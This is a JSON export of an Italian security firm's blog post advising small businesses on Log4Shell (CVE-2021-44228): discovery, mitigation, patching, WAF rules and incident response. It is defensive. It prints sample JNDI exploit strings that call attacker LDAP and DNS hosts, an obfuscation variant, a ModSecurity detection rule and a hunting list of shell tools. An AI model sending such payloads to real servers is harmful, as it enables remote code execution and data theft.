{"id":1684,"date":"2021-12-15T09:37:00","date_gmt":"2021-12-15T08:37:00","guid":{"rendered":"https:\/\/brentasoft.com\/blog\/log4shell-cve-2021-44228-pmi-risposta-2021\/"},"modified":"2021-12-15T09:37:00","modified_gmt":"2021-12-15T08:37:00","slug":"log4shell-cve-2021-44228-pmi-risposta-2021","status":"publish","type":"post","link":"https:\/\/brentasoft.com\/blog\/log4shell-cve-2021-44228-pmi-risposta-2021\/","title":{"rendered":"Log4Shell (CVE-2021-44228): risposta tempestiva per PMI italiane"},"content":{"rendered":"<p>Sono passati cinque giorni dalla disclosure pubblica di <strong>CVE-2021-44228<\/strong>, ribattezzata Log4Shell, e stiamo ancora misurando l&#8217;onda d&#8217;urto. Tra il 9 e il 10 dicembre 2021 una pubblicazione su GitHub e un thread su Twitter hanno messo nero su bianco quello che molti analisti hanno descritto come <em>la peggiore vulnerabilit\u00e0 informatica dell&#8217;ultimo decennio<\/em>: una RCE remota, non autenticata, in <strong>Apache Log4j 2.x<\/strong>, libreria di logging usata praticamente ovunque ci sia un&#8217;applicazione Java in produzione.<\/p>\n<p>Mentre scriviamo, le PMI italiane stanno facendo i conti con un perimetro tecnologico molto pi\u00f9 esposto di quanto pensassero. Software gestionali, e-commerce custom, server di posta, sistemi documentali, perfino macchine industriali con HMI Java: tutti possibili vettori. Il problema non \u00e8 solo &#8220;patchare il proprio applicativo&#8221;: \u00e8 scoprire dove Log4j sta girando in profondit\u00e0 nello stack, spesso annidato in dipendenze di terze parti che il fornitore non ha ancora aggiornato.<\/p>\n<p>In Brentasoft seguiamo da giorni clienti del settore manifatturiero, retail e servizi che ci chiedono la stessa cosa: <em>&#8220;siamo vulnerabili? cosa facciamo nelle prossime 24 ore?&#8221;<\/em>. Questo articolo \u00e8 la nostra risposta operativa, scritta per imprenditori e responsabili IT che devono prendere decisioni rapide in un contesto in cui la <strong>CISA<\/strong> americana sta per emanare una direttiva d&#8217;emergenza e le PoC pubbliche di exploit si moltiplicano ora dopo ora.<\/p>\n<div style=\"background:#fff8e1;border-left:5px solid #f59e0b;padding:18px 22px;margin:26px 0;border-radius:6px;\">\n<h3 style=\"margin-top:0;color:#92400e;\">TL;DR \u2014 quello che devi sapere oggi<\/h3>\n<ul style=\"margin-bottom:0;\">\n<li><strong>CVE-2021-44228<\/strong> consente esecuzione di codice remoto non autenticata su qualsiasi applicazione Java che usi Log4j 2.0-beta9 fino a 2.14.1.<\/li>\n<li>L&#8217;attacco sfrutta il meccanismo <strong>JNDI lookup<\/strong> dentro le stringhe di log: basta che la libreria scriva un input controllato dall&#8217;attaccante.<\/li>\n<li>La patch completa \u00e8 <strong>Log4j 2.16.0<\/strong> rilasciata il 13 dicembre; 2.15.0 (10 dicembre) lascia esposti percorsi residui descritti in <strong>CVE-2021-45046<\/strong>.<\/li>\n<li>Per chi non puo&#8217; aggiornare subito: impostare <code>-Dlog4j2.formatMsgNoLookups=true<\/code> o la variabile <code>LOG4J_FORMAT_MSG_NO_LOOKUPS=true<\/code> e attivare regole WAF anti-JNDI.<\/li>\n<li>Assumi compromesso: rivedi log perimetrali da inizio dicembre, ruota credenziali sensibili e prepara un piano di incident response a 30 giorni.<\/li>\n<\/ul>\n<\/div>\n<h2>Cos&#8217;e&#8217; Log4Shell e perche&#8217; tutti ne parlano<\/h2>\n<p><strong>Log4j<\/strong> e&#8217; la libreria di logging piu&#8217; diffusa nell&#8217;ecosistema Java. La trovi nel backend dei gestionali aziendali, nelle piattaforme Atlassian, in Elasticsearch, Logstash, Solr, in molti server applicativi (Tomcat, JBoss, WebLogic), nei moduli di integrazione di Salesforce e SAP, nei container Spring Boot dei microservizi e \u2014 l&#8217;esempio mediatico piu&#8217; clamoroso \u2014 perfino nel server ufficiale di Minecraft pubblicato da Microsoft. Ovunque si scriva un log, c&#8217;e&#8217; la probabilita&#8217; che dietro le quinte stia girando Log4j.<\/p>\n<p>La vulnerabilita&#8217; descritta in <strong>CVE-2021-44228<\/strong> ha un punteggio CVSS di 10.0 \u2014 il massimo possibile. Per dare il senso della gravita&#8217;: non richiede autenticazione, non richiede interazione utente, e&#8217; sfruttabile da remoto, e l&#8217;impatto e&#8217; esecuzione di codice arbitrario con i privilegi del processo Java. Da li&#8217; un attaccante puo&#8217; fare praticamente qualsiasi cosa: piazzare un coinminer, esfiltrare il database, installare una reverse shell, propagarsi lateralmente nella rete.<\/p>\n<p>La cosa che ha sorpreso analisti e CERT in queste ore e&#8217; la <strong>banalita&#8217; della catena di attacco<\/strong>. Per innescare l&#8217;exploit basta una stringa di pochi caratteri inviata a un campo che, prima o poi, finira&#8217; in un log. User-Agent HTTP, header X-Forwarded-For, parametro di ricerca, nome utente al login, payload di un form: qualsiasi punto di ingresso diventa potenzialmente fatale.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2026\/06\/log4shell_code.jpg\" alt=\"Esempio di codice Java e file di log su schermo\" \/><\/p>\n<h2>Perche&#8217; una RCE e&#8217; lo scenario peggiore per una PMI<\/h2>\n<p>Nel modello di rischio classico, ordiniamo gli impatti delle vulnerabilita&#8217; in tre livelli: divulgazione di informazioni, elevazione di privilegi, esecuzione di codice. Una <strong>Remote Code Execution<\/strong> e&#8217; il livello massimo perche&#8217; compromette riservatezza, integrita&#8217; e disponibilita&#8217; contemporaneamente. Per una PMI italiana significa, nel concreto:<\/p>\n<ul>\n<li><strong>Furto di dati personali e contabili<\/strong> \u2014 anagrafiche clienti, listini, dati bancari, documenti fiscali. Esposizione GDPR immediata.<\/li>\n<li><strong>Compromissione della continuita&#8217; operativa<\/strong> \u2014 un attaccante con codice remoto puo&#8217; lanciare ransomware in poche ore, fermando produzione e ordini.<\/li>\n<li><strong>Pivoting in rete interna<\/strong> \u2014 il server colpito diventa testa di ponte per attaccare CRM, file server, controller di dominio.<\/li>\n<li><strong>Danno reputazionale<\/strong> \u2014 clienti e partner non perdonano un fornitore che diventa vettore di attacco verso di loro.<\/li>\n<\/ul>\n<p>La differenza rispetto ad altre vulnerabilita&#8217; &#8220;rumorose&#8221; degli ultimi anni e&#8217; che Log4j non e&#8217; un singolo prodotto: e&#8217; un ingrediente che si nasconde dentro altri prodotti. Anche se la tua azienda non ha sviluppatori Java interni, e&#8217; realistico che almeno tre o quattro applicativi della tua infrastruttura \u2014 gestionale, sistema documentale, monitoraggio, e-commerce headless \u2014 abbiano Log4j da qualche parte.<\/p>\n<h2>JNDI lookup: come funziona l&#8217;exploit in pratica<\/h2>\n<p>Per capire la mitigation bisogna capire come Log4j si fa &#8220;infettare&#8221;. La libreria, per fornire ai developer un sistema flessibile, supporta un meccanismo chiamato <strong>lookup<\/strong>: dentro una stringa di log e&#8217; possibile inserire variabili nella forma <code>${...}<\/code> che vengono risolte runtime. Esempio innocuo: <code>${java:version}<\/code> stampa la versione della JVM.<\/p>\n<p>Uno dei lookup supportati e&#8217; <strong>JNDI<\/strong> (Java Naming and Directory Interface). JNDI puo&#8217; interrogare diversi backend, tra cui <strong>LDAP<\/strong>, <strong>RMI<\/strong>, <strong>DNS<\/strong>. Quando Log4j incontra una stringa come <code>${jndi:ldap:\/\/attaccante.example\/Exploit}<\/code> dentro un messaggio di log, prova davvero a contattare quel server LDAP, scaricare la classe Java indicata e <strong>caricarla nella JVM<\/strong>. Caricamento = esecuzione. Fine.<\/p>\n<p>Il punto critico e&#8217; che il payload non deve arrivare a una funzione &#8220;speciale&#8221;: basta che finisca in un campo che il codice applicativo decide di loggare. Un esempio reale che stiamo vedendo in molti log perimetrali in questi giorni:<\/p>\n<pre><code>GET \/ HTTP\/1.1\nHost: api.tuaazienda.it\nUser-Agent: ${jndi:ldap:\/\/45.155.205.233:1389\/Basic\/Command\/Base64\/Y3VybCBodHRwczovL21hbHdhcmUuLi4=}\nX-Forwarded-For: ${jndi:dns:\/\/attacker.dnslog.cn\/test}<\/code><\/pre>\n<p>Se l&#8217;applicazione registra User-Agent o X-Forwarded-For in un log gestito da Log4j, l&#8217;exploit parte. Nelle PoC pubbliche viste in questi giorni gli attaccanti stanno encodando il payload in <strong>Base64<\/strong> per aggirare WAF poco intelligenti, e usano servizi gratuiti tipo <code>dnslog.cn<\/code> o <code>interactsh<\/code> per esfiltrare via DNS anche quando la rete in uscita e&#8217; filtrata.<\/p>\n<h2>Quali stack sono esposti \u2014 la mappa che devi fare oggi<\/h2>\n<p>Non puoi mitigare cio&#8217; che non sai di avere. La prima azione operativa, prima ancora del patching, e&#8217; un <strong>inventario delle applicazioni Java<\/strong> nel perimetro aziendale. Categorie da non dimenticare:<\/p>\n<ul>\n<li><strong>Applicativi business interni<\/strong>: gestionale ERP, CRM Java-based, sistemi documentali (Alfresco, Nuxeo), portali clienti custom.<\/li>\n<li><strong>Stack di logging e ricerca<\/strong>: Elasticsearch (fino alla 7.16), Logstash, Kibana, Solr, Graylog.<\/li>\n<li><strong>Strumenti DevOps<\/strong>: Jenkins, SonarQube, Confluence, Jira, Bitbucket Server \u2014 tutti hanno o avevano Log4j 2.x in qualche modulo.<\/li>\n<li><strong>Server applicativi<\/strong>: Apache Tomcat configurato con Log4j, JBoss\/WildFly, WebLogic, WebSphere.<\/li>\n<li><strong>VMware vCenter<\/strong> e altri prodotti di virtualizzazione (advisory ufficiali stanno uscendo proprio in queste ore).<\/li>\n<li><strong>Game\/edge server<\/strong>: il caso del server ufficiale Microsoft Minecraft Java Edition e&#8217; diventato virale perche&#8217; bastava inviare il payload in chat per ottenere RCE sul server.<\/li>\n<li><strong>Sistemi industriali con interfacce Java<\/strong>: HMI, SCADA, building automation. Qui i tempi di patching sono lunghi e la mitigation di emergenza diventa fondamentale.<\/li>\n<\/ul>\n<p>Per ognuno di questi sistemi devi avere risposte concrete a tre domande: <em>quale versione di Log4j sta usando?<\/em> <em>e&#8217; raggiungibile da internet o solo da rete interna?<\/em> <em>il vendor ha gia&#8217; rilasciato un advisory?<\/em><\/p>\n<h2>Checklist di scoperta: dove cercare Log4j nei tuoi server<\/h2>\n<p>Per i sistemi Linux su cui hai accesso shell, i comandi base per scoprire installazioni di Log4j sono pochi e affidabili. Conviene eseguirli su tutti i server prima della fine della giornata.<\/p>\n<pre><code># Cerca tutti i JAR contenenti classi di Log4j core\nfind \/ -type f -name \"*.jar\" 2&gt;\/dev\/null \\\n  | xargs -I{} sh -c 'unzip -l \"{}\" 2&gt;\/dev\/null | grep -l \"org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class\" &amp;&amp; echo \"{}\"'\n\n# Variante piu' veloce con grep\nfind \/ -name \"*.jar\" -exec sh -c 'unzip -p \"$1\" META-INF\/MANIFEST.MF 2&gt;\/dev\/null | grep -q \"log4j\" &amp;&amp; echo \"$1\"' _ {} \\;\n\n# Per Windows \/ PowerShell\nGet-ChildItem -Path C:\\ -Recurse -Filter \"log4j-core-*.jar\" -ErrorAction SilentlyContinue<\/code><\/pre>\n<p>Attenzione ai JAR <strong>shaded<\/strong> e <strong>fat JAR<\/strong>: molti applicativi enterprise includono Log4j repackaged dentro un uberjar con namespace modificato. In questi casi la ricerca per nome file fallisce e devi cercare la classe <code>JndiLookup.class<\/code> direttamente dentro ogni archivio. Strumenti come <strong>logpresso\/CVE-2021-44228-Scanner<\/strong> stanno emergendo proprio in queste ore per automatizzare il lavoro.<\/p>\n<p>Sui container Docker la situazione e&#8217; anche piu&#8217; subdola: una singola immagine puo&#8217; contenere decine di JAR. Esegui la scansione dall&#8217;host con <code>docker exec<\/code> oppure builda una nuova immagine derivata che inietti uno scanner.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2026\/06\/log4shell_soc.jpg\" alt=\"Analista di sicurezza in un Security Operations Center\" \/><\/p>\n<h2>Mitigation immediata: cosa fare nelle prossime 4 ore<\/h2>\n<p>Il patching e&#8217; la soluzione corretta, ma per molti applicativi enterprise non e&#8217; praticabile aggiornare in poche ore: serve test di regressione, finestra di manutenzione, coordinamento con il vendor. Nel frattempo esistono <strong>tre mitigation di emergenza<\/strong> ufficialmente raccomandate dal team Apache, da applicare subito sui sistemi vulnerabili che non puoi spegnere.<\/p>\n<h3>1) Disabilitare i lookup tramite property JVM<\/h3>\n<p>Per Log4j 2.10 e successive, aggiungi questa property all&#8217;avvio della JVM:<\/p>\n<pre><code>java -Dlog4j2.formatMsgNoLookups=true -jar applicazione.jar<\/code><\/pre>\n<p>Se usi systemd, modifica l&#8217;unit file o il file <code>EnvironmentFile<\/code>:<\/p>\n<pre><code>[Service]\nEnvironment=\"JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true\"\nEnvironment=\"LOG4J_FORMAT_MSG_NO_LOOKUPS=true\"<\/code><\/pre>\n<p>La variabile d&#8217;ambiente <code>LOG4J_FORMAT_MSG_NO_LOOKUPS=true<\/code> e&#8217; utile per i container, dove non hai sempre il controllo diretto del comando di avvio. Dopo aver modificato, <strong>riavvia il processo Java<\/strong>: la property non viene letta runtime.<\/p>\n<h3>2) Rimuovere la classe JndiLookup dal JAR<\/h3>\n<p>Per Log4j 2.0-beta9 fino a 2.10.0 la property sopra non basta. La mitigation manuale documentata da Apache e&#8217; rimuovere fisicamente la classe vulnerabile dal JAR:<\/p>\n<pre><code>zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/code><\/pre>\n<p>Operazione invasiva: testala in staging prima della produzione e tieni una copia del JAR originale.<\/p>\n<h3>3) Bloccare egress LDAP\/RMI\/DNS sospetto a livello di firewall<\/h3>\n<p>L&#8217;exploit funziona solo se il server vulnerabile riesce a <strong>uscire<\/strong> verso il server LDAP dell&#8217;attaccante. Molte PMI hanno regole di egress troppo permissive. Blocca da subito connessioni in uscita verso porte tipiche LDAP\/RMI (389, 636, 1389, 1099) dai server di backend, lasciando passare solo destinazioni note. Non e&#8217; una difesa definitiva (DNS exfiltration funziona ancora), ma alza enormemente l&#8217;asticella per l&#8217;attaccante.<\/p>\n<h2>Patching: arrivare a Log4j 2.16.0<\/h2>\n<p>La patch ufficiale e&#8217; uscita in due tempi. <strong>Log4j 2.15.0<\/strong> del 10 dicembre disabilitava i lookup di default e limitava i protocolli JNDI ammessi, ma e&#8217; emerso quasi subito che con configurazioni specifiche (pattern non-default, MDC con stringhe controllate) restavano percorsi sfruttabili \u2014 da qui il bollettino <strong>CVE-2021-45046<\/strong> del 14 dicembre.<\/p>\n<p>La soluzione raccomandata oggi e&#8217; <strong>Log4j 2.16.0<\/strong>, rilasciata il 13 dicembre. Questa versione:<\/p>\n<ul>\n<li>Disabilita JNDI di default (la funzione e&#8217; ora opt-in esplicito).<\/li>\n<li>Rimuove completamente il supporto ai message lookup.<\/li>\n<li>Restringe lo strato JNDI ai soli protocolli locali.<\/li>\n<\/ul>\n<p>Per progetti Maven, aggiorna le dipendenze:<\/p>\n<pre><code>&lt;dependency&gt;\n  &lt;groupId&gt;org.apache.logging.log4j&lt;\/groupId&gt;\n  &lt;artifactId&gt;log4j-core&lt;\/artifactId&gt;\n  &lt;version&gt;2.16.0&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n  &lt;groupId&gt;org.apache.logging.log4j&lt;\/groupId&gt;\n  &lt;artifactId&gt;log4j-api&lt;\/artifactId&gt;\n  &lt;version&gt;2.16.0&lt;\/version&gt;\n&lt;\/dependency&gt;<\/code><\/pre>\n<p>Per Gradle l&#8217;equivalente:<\/p>\n<pre><code>implementation 'org.apache.logging.log4j:log4j-core:2.16.0'\nimplementation 'org.apache.logging.log4j:log4j-api:2.16.0'<\/code><\/pre>\n<p>Verifica anche le dipendenze transitive con <code>mvn dependency:tree<\/code> o <code>gradle dependencies<\/code>: capita che un&#8217;altra libreria tiri dentro una versione vecchia di Log4j vincolata, e tu debba forzare un override esplicito. Per chi non gestisce direttamente il build (applicativi closed-source), ricarica i JAR sostituendo quelli vulnerabili sull&#8217;installazione.<\/p>\n<h2>WAF e regole di blocco al perimetro<\/h2>\n<p>Le grandi reti CDN\/WAF \u2014 <strong>Cloudflare<\/strong>, <strong>Akamai<\/strong>, <strong>AWS WAF<\/strong>, <strong>Imperva<\/strong>, <strong>F5<\/strong> \u2014 hanno rilasciato regole specifiche per Log4Shell nelle ultime 72 ore. Se sei dietro a una di queste piattaforme, attivale subito: vengono distribuite come <em>managed rules<\/em> e si abilitano con un click, intercettando i payload JNDI ovvi.<\/p>\n<p>Per chi ha un proprio reverse proxy (nginx, HAProxy, ModSecurity) la regola di base e&#8217; una regex che intercetti la stringa <code>${jndi:<\/code> e le sue varianti codificate. Esempio per ModSecurity:<\/p>\n<pre><code>SecRule REQUEST_HEADERS|REQUEST_URI|ARGS|REQUEST_BODY \\\n  \"@rx (?i)\\$\\{(\\$\\{[^}]*\\})*jndi:\" \\\n  \"id:1000001,phase:2,deny,status:403,log,msg:'Log4Shell JNDI payload blocked'\"<\/code><\/pre>\n<p><strong>Attenzione ai falsi negativi<\/strong>: in queste 72 ore stiamo vedendo decine di varianti di evasion \u2014 Base64, URL-encoding doppio, uso di nested lookup tipo <code>${${lower:j}ndi:...}<\/code>, separatori Unicode. Una regola troppo restrittiva (solo <code>${jndi:ldap:\/\/<\/code>) viene bypassata banalmente. Usa pattern flessibili e monitora i bypass segnalati dalla community via Twitter e <strong>GitHub Security Advisories<\/strong>.<\/p>\n<p>Allo stesso tempo, attenzione ai <strong>falsi positivi<\/strong>: alcuni applicativi legittimi (analytics, prodotti integrazione) usano stringhe simili. Inizia in <em>log only<\/em>, valuta il traffico per qualche ora, poi passa al blocco attivo.<\/p>\n<h2>Supply chain: il problema delle dipendenze indirette<\/h2>\n<p>Una buona parte dell&#8217;incertezza che vediamo in queste ore deriva dal fatto che Log4j e&#8217; spesso una <strong>dipendenza di terza o quarta generazione<\/strong>. Il tuo software non la usa direttamente, ma viene tirata dentro da una libreria che a sua volta dipende da un framework che a sua volta usa Log4j. Per una PMI con uno stack Java non banale, il numero di JAR Log4j in giro puo&#8217; essere sorprendentemente alto.<\/p>\n<p>Cosa fare di concreto sul tema supply chain:<\/p>\n<ul>\n<li><strong>Apri un canale formale con ogni vendor critico<\/strong>: chiedi per iscritto se sono affetti da CVE-2021-44228 e quale ETA hanno sulla patch. Documenta tutto: ti servira&#8217; poi per eventuali responsabilita&#8217; GDPR.<\/li>\n<li><strong>Verifica i SaaS in uso<\/strong>: piattaforme cloud che usi (ticketing, marketing automation, BI) potrebbero essere vulnerabili lato server senza che tu te ne accorga. Cerca le pagine &#8220;status&#8221; e gli advisory di sicurezza dei tuoi vendor cloud.<\/li>\n<li><strong>Costruisci un SBOM<\/strong> (Software Bill of Materials) \u2014 anche solo Excel \u2014 degli applicativi critici. Per i prossimi mesi sapere &#8220;cosa c&#8217;e&#8217; dentro&#8221; diventera&#8217; un asset strategico.<\/li>\n<li><strong>Definisci un processo di vulnerability management<\/strong>: questa non sara&#8217; l&#8217;ultima CVE critica del 2021. Avere un workflow strutturato fa la differenza tra &#8220;ci pensiamo quando succede&#8221; e &#8220;siamo gia&#8217; al patching&#8221;.<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/brentasoft.com\/blog\/wp-content\/uploads\/2026\/06\/log4shell_patch.jpg\" alt=\"Dashboard di patch management e aggiornamenti software\" \/><\/p>\n<h2>Incident response: assumi di essere gia&#8217; stato compromesso<\/h2>\n<p>Una delle indicazioni piu&#8217; forti che stiamo dando ai nostri clienti in queste ore: <strong>non aspettare la prova del compromesso, assumi che sia avvenuto e indaga di conseguenza<\/strong>. Il payload puo&#8217; essere arrivato giorni fa: le prime scansioni di massa documentate risalgono al 1\u00b0 dicembre, prima ancora della disclosure pubblica. La community sta scoprendo IOC con due settimane di anticipo rispetto a quando si pensava.<\/p>\n<p>Una checklist operativa per la threat hunting interna nelle prossime 72 ore:<\/p>\n<ul>\n<li><strong>Log perimetrali<\/strong>: cerca pattern <code>${jndi:<\/code>, <code>${lower:<\/code>, <code>${upper:<\/code>, varianti Base64 nei log di nginx, Apache, IIS, firewall applicativi, da inizio dicembre.<\/li>\n<li><strong>Connessioni in uscita anomale<\/strong>: traffico LDAP, RMI, DNS verso destinazioni esterne non note. Sospetto particolare per query DNS verso domini <code>.cn<\/code>, <code>.ru<\/code>, dnslog services.<\/li>\n<li><strong>Processi figli anomali<\/strong> dal processo Java: bash, sh, powershell, curl, wget, nc lanciati come child del JVM.<\/li>\n<li><strong>Nuovi cron job<\/strong>, nuovi servizi, file in <code>\/tmp<\/code> o <code>%TEMP%<\/code> con timestamp recenti, modifiche a <code>~\/.ssh\/authorized_keys<\/code>.<\/li>\n<li><strong>Coinminer<\/strong>: il payload &#8220;soft&#8221; che gli attaccanti opportunistici stanno droppando per primo. CPU al 100% su processi sconosciuti, connessioni verso pool di mining.<\/li>\n<\/ul>\n<p>Se trovi indicatori positivi, <strong>attiva subito il piano di incident response<\/strong>: isola il sistema dalla rete, preserva un&#8217;immagine forense del disco, coinvolgi il legale per valutare gli obblighi di notifica al Garante Privacy (72 ore se ci sono dati personali coinvolti). Documenta ogni azione con timestamp.<\/p>\n<h2>CISA, ENISA e il contesto normativo italiano<\/h2>\n<p>Il livello di allerta istituzionale e&#8217; altissimo. La <strong>CISA<\/strong> americana ha annunciato una <em>emergency directive<\/em> (la 22-02, in arrivo nei prossimi giorni) che obbliga le agenzie federali statunitensi a mitigare entro fine anno. ENISA e i CERT nazionali europei stanno emanando comunicati paralleli. Lo <strong>CSIRT Italia<\/strong> ha pubblicato un bollettino tecnico il 10 dicembre con livello di gravita&#8217; &#8220;rosso&#8221;.<\/p>\n<p>Per le PMI italiane il punto da tenere a mente non e&#8217; tanto il rispetto formale di un obbligo immediato, quanto il fatto che \u2014 qualora un incidente avvenga \u2014 il regolatore valutera&#8217; la <strong>diligenza<\/strong> con cui l&#8217;azienda ha reagito alla disclosure. Aver ignorato per giorni una vulnerabilita&#8217; di gravita&#8217; 10\/10 nota pubblicamente sara&#8217; considerato negligenza grave, con conseguenze rilevanti sotto il profilo GDPR (articolo 32 \u2014 sicurezza del trattamento) e contrattuale verso i clienti business.<\/p>\n<p>Suggeriamo di documentare formalmente:<\/p>\n<ul>\n<li>La data in cui l&#8217;azienda e&#8217; venuta a conoscenza del bollettino.<\/li>\n<li>L&#8217;inventario degli applicativi verificati e l&#8217;esito della verifica.<\/li>\n<li>Le mitigation applicate e con quale timeline.<\/li>\n<li>Le comunicazioni con i vendor di terze parti.<\/li>\n<\/ul>\n<p>Questa documentazione, conservata in modo ordinato, e&#8217; la migliore difesa in caso di accertamenti successivi.<\/p>\n<h2>Roadmap 30 giorni: dal fuoco amico alla resilienza<\/h2>\n<p>Risolta l&#8217;emergenza, il pericolo e&#8217; tornare all&#8217;inerzia. La nostra raccomandazione e&#8217; usare le prossime quattro settimane per consolidare un livello di igiene cyber che renda eventi simili meno traumatici in futuro.<\/p>\n<p><strong>Settimana 1 (entro il 22 dicembre)<\/strong>: completamento patching di tutti i sistemi raggiungibili da Internet. Mitigation di emergenza su tutto il resto. Mappa preliminare delle dipendenze.<\/p>\n<p><strong>Settimana 2<\/strong>: patching dei sistemi interni. Threat hunting retroattivo a campione sui log storici. Rotazione delle credenziali di service account usati dai sistemi vulnerabili.<\/p>\n<p><strong>Settimana 3<\/strong>: revisione delle regole egress su firewall perimetrale. Hardening minimo dei container Java: utenti non-root, capability limitate, network policy. Aggiornamento del SIEM con detection rule per JNDI payload.<\/p>\n<p><strong>Settimana 4<\/strong>: post-mortem interno scritto. Aggiornamento del processo di vulnerability management. Definizione di un calendario trimestrale di scansioni automatiche delle dipendenze (Dependabot, Renovate, OWASP Dependency-Check). Formazione interna agli sviluppatori su minimum viable security.<\/p>\n<div style=\"background:#eef2ff;border-left:5px solid #6366f1;padding:18px 22px;margin:26px 0;border-radius:6px;\">\n<h3 style=\"margin-top:0;color:#3730a3;\">Cinque passi operativi per le prossime 24 ore<\/h3>\n<ol style=\"margin-bottom:0;\">\n<li><strong>Inventario rapido<\/strong>: lista degli applicativi Java esposti, con versione di Log4j se conosciuta.<\/li>\n<li><strong>Mitigation di emergenza<\/strong>: applica <code>-Dlog4j2.formatMsgNoLookups=true<\/code> o variabile equivalente, riavvia i processi.<\/li>\n<li><strong>Regole WAF\/perimetro<\/strong>: attiva managed rules Cloudflare\/Akamai oppure ModSecurity, blocca egress LDAP\/RMI non necessario.<\/li>\n<li><strong>Threat hunting<\/strong>: cerca pattern <code>${jndi:<\/code> nei log perimetrali da inizio dicembre, isola eventuali sistemi sospetti.<\/li>\n<li><strong>Comunicazione<\/strong>: avvisa formalmente fornitori IT, valuta comunicazione preventiva interna e \u2014 se necessario \u2014 verso clienti business.<\/li>\n<\/ol>\n<\/div>\n<h2>Come ti possiamo aiutare<\/h2>\n<p>In Brentasoft stiamo gestendo proprio in questi giorni operazioni di scoperta, mitigation e patching per clienti di varie dimensioni. Se hai bisogno di un supporto concreto nelle prossime 48 ore \u2014 dall&#8217;inventario dei sistemi Java al deployment delle regole WAF, dalla verifica delle dipendenze al piano di incident response \u2014 possiamo intervenire con una squadra dedicata.<\/p>\n<p>Possiamo lavorare in tre modalita&#8217;: supporto remoto in modalita&#8217; war-room con il tuo IT interno, intervento on-site, oppure presa in carico completa dei sistemi critici con SLA definiti. La nostra esperienza con stack Java enterprise nelle PMI italiane ci permette di muoverci rapidamente anche dove la documentazione tecnica e&#8217; frammentaria.<\/p>\n<div style=\"background:linear-gradient(135deg,#6366f1 0%,#8b5cf6 100%);color:#fff;padding:32px;border-radius:12px;text-align:center;margin:36px 0;\">\n<h3 style=\"color:#fff;margin-top:0;\">Hai bisogno di una risposta tecnica nelle prossime 24 ore?<\/h3>\n<p style=\"font-size:17px;margin:14px 0 22px;\">Richiedi un preventivo immediato per scansione Log4Shell, mitigation e piano di incident response sulle tue applicazioni Java.<\/p>\n<p style=\"margin:0;\"><a href=\"https:\/\/brentasoft.com\/preventivatore.php\" style=\"display:inline-block;background:#fff;color:#3730a3;padding:14px 32px;border-radius:8px;text-decoration:none;font-weight:700;font-size:16px;\">Richiedi preventivo Log4Shell<\/a><\/p>\n<\/div>\n<h2>Domande frequenti<\/h2>\n<p><strong>La mia azienda non sviluppa software Java: sono al sicuro?<\/strong><br \/>\nNo, e&#8217; uno dei malintesi piu&#8217; pericolosi. Log4j e&#8217; presente in moltissimi prodotti commerciali e open source che usi senza saperlo. Verifica con i tuoi fornitori IT quali applicativi del tuo perimetro lo includono.<\/p>\n<p><strong>Basta aggiornare Log4j a 2.15.0?<\/strong><br \/>\nNo. La 2.15.0 e&#8217; parziale ed e&#8217; affetta da CVE-2021-45046. Vai direttamente alla 2.16.0 dove possibile, oppure applica le mitigation di emergenza in attesa di poter aggiornare.<\/p>\n<p><strong>Sono dietro a un firewall, sono comunque vulnerabile?<\/strong><br \/>\nSe l&#8217;applicazione vulnerabile riceve input dall&#8217;esterno (anche un parametro HTTP loggato), si&#8217;. Inoltre il firewall non ti protegge da attacchi laterali interni: un endpoint compromesso puo&#8217; attaccare un server vulnerabile in LAN.<\/p>\n<p><strong>Quanto tempo richiede il patching?<\/strong><br \/>\nDipende dalla complessita&#8217; dello stack. Per applicativi semplici (microservizio Spring Boot con build proprio) puo&#8217; bastare un&#8217;ora tra build e deploy. Per applicativi enterprise con vendor coinvolti, settimane. Per questo le mitigation di emergenza sono cosi&#8217; importanti.<\/p>\n<p><strong>Devo notificare al Garante Privacy?<\/strong><br \/>\nSolo se hai evidenza o sospetto fondato di compromissione che coinvolga dati personali. La sola esistenza della vulnerabilita&#8217; non e&#8217; notificabile. Documenta comunque tutte le tue azioni di risposta.<\/p>\n<p><strong>I miei backup sono al sicuro?<\/strong><br \/>\nSe i sistemi compromessi avevano accesso ai backup, possibilmente no. Verifica che i tuoi backup offline\/immutabili non siano stati alterati e considera questo episodio per rivedere la strategia 3-2-1.<\/p>\n<p><strong>Quanto durera&#8217; questa emergenza?<\/strong><br \/>\nRealisticamente, alcuni mesi. La superficie di attacco e&#8217; enorme e nuove varianti di exploit stanno emergendo ora. Considera questa l&#8217;inizio di una fase di vulnerability management piu&#8217; intensa, non un episodio isolato.<\/p>\n<p><script type=\"application\/ld+json\">{\"@context\":\"https:\/\/schema.org\",\"@type\":\"HowTo\",\"name\":\"Risposta a Log4Shell in 24 ore per PMI\",\"description\":\"Cinque passi operativi per mitigare CVE-2021-44228 nelle prime 24 ore\",\"totalTime\":\"PT24H\",\"step\":[{\"@type\":\"HowToStep\",\"position\":1,\"name\":\"Inventario rapido\",\"text\":\"Mappa applicativi Java esposti e versione Log4j in uso.\"},{\"@type\":\"HowToStep\",\"position\":2,\"name\":\"Mitigation emergenza\",\"text\":\"Imposta -Dlog4j2.formatMsgNoLookups=true o LOG4J_FORMAT_MSG_NO_LOOKUPS=true e riavvia.\"},{\"@type\":\"HowToStep\",\"position\":3,\"name\":\"Regole WAF\",\"text\":\"Attiva managed rules Cloudflare\/Akamai o ModSecurity contro payload JNDI.\"},{\"@type\":\"HowToStep\",\"position\":4,\"name\":\"Threat hunting\",\"text\":\"Cerca pattern ${jndi: nei log perimetrali da inizio dicembre.\"},{\"@type\":\"HowToStep\",\"position\":5,\"name\":\"Comunicazione\",\"text\":\"Avvisa fornitori IT, valuta comunicazione preventiva interna e verso clienti business.\"}]}<\/script><\/p>\n<p><script type=\"application\/ld+json\">{\"@context\":\"https:\/\/schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"La mia azienda non sviluppa software Java: sono al sicuro?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"No, e' un malinteso pericoloso. Log4j e' presente in moltissimi prodotti commerciali e open source. Verifica con i fornitori IT quali 